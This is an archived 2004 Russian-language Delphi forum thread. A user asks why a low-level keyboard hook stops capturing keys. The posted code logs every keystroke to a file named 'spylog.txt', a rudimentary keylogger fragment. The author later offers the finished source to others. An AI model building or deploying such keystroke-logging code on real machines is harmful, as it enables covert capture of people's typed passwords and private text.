Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.06.13;
Скачать: CL | DM;

Вниз

Не работает перехват сообщения   Найти похожие ветки 

 
faith   (2004-05-05 14:40) [0]

После записи в файл перестают перехватываться сообщения, кстати и файл сам не записывается. Странно как-то, если кто знает подкажите, пожалуйста.


function KeyboardProc(nCode:integer; wParam, lParam: Longint):Longint;
 stdcall;
var wrkStr: ShortString;
   tfile : textfile;
begin
 if nCode <0 then begin
   Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
   exit;
 end;

   case wParam of
     VK_ESCAPE : wrkStr := ""ESC"";
     VK_RETURN : wrkStr := ""ENTER"";
   else
     wrkStr := Chr(MapVirtualKey(wParam,2));
   end;

   AssignFile(tfile,"spylog.txt");
   Rewrite(tFile);
   writeln(tFile,wrkStr);
   CloseFile(tFile);

 Result := CallNextHookEx(wrkHook, nCode, wParam, lParam);
end;


 
VMcL ©   (2004-05-05 17:41) [1]

>>faith  (05.05.04 14:40)

http://www.delphimaster.ru/articles/hooks/index.html
?


 
faith   (2004-05-05 23:44) [2]

Класно, что-то умное и интересное. Сейчас прочту. Спасибо, ссылка хорошая.


 
faith   (2004-05-08 18:15) [3]

Спасибо за ссылку, очень помогло. Хотя в их примере есть одна ошибка, но это несущественно. Самый грамотный мануал по этой теме! Кому нужен результат с исходниками (получилась довольно неплохо), пишите!



Страницы: 1 вся ветка

Текущий архив: 2004.06.13;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.031 c
3-1085142959
infom
2004-05-21 16:35
2004.06.13
Как узнать в рантайме что поле может принимать Null


1-1085773370
hiperLogun
2004-05-28 23:42
2004.06.13
Popup!!!


1-1085527997
kaif
2004-05-26 03:33
2004.06.13
Decimal Separator


3-1085057983
Korefey
2004-05-20 16:59
2004.06.13
IBConsole, isql


8-1080060325
__yur__
2004-03-23 19:45
2004.06.13
Как узнать что рисунок имеет белый фон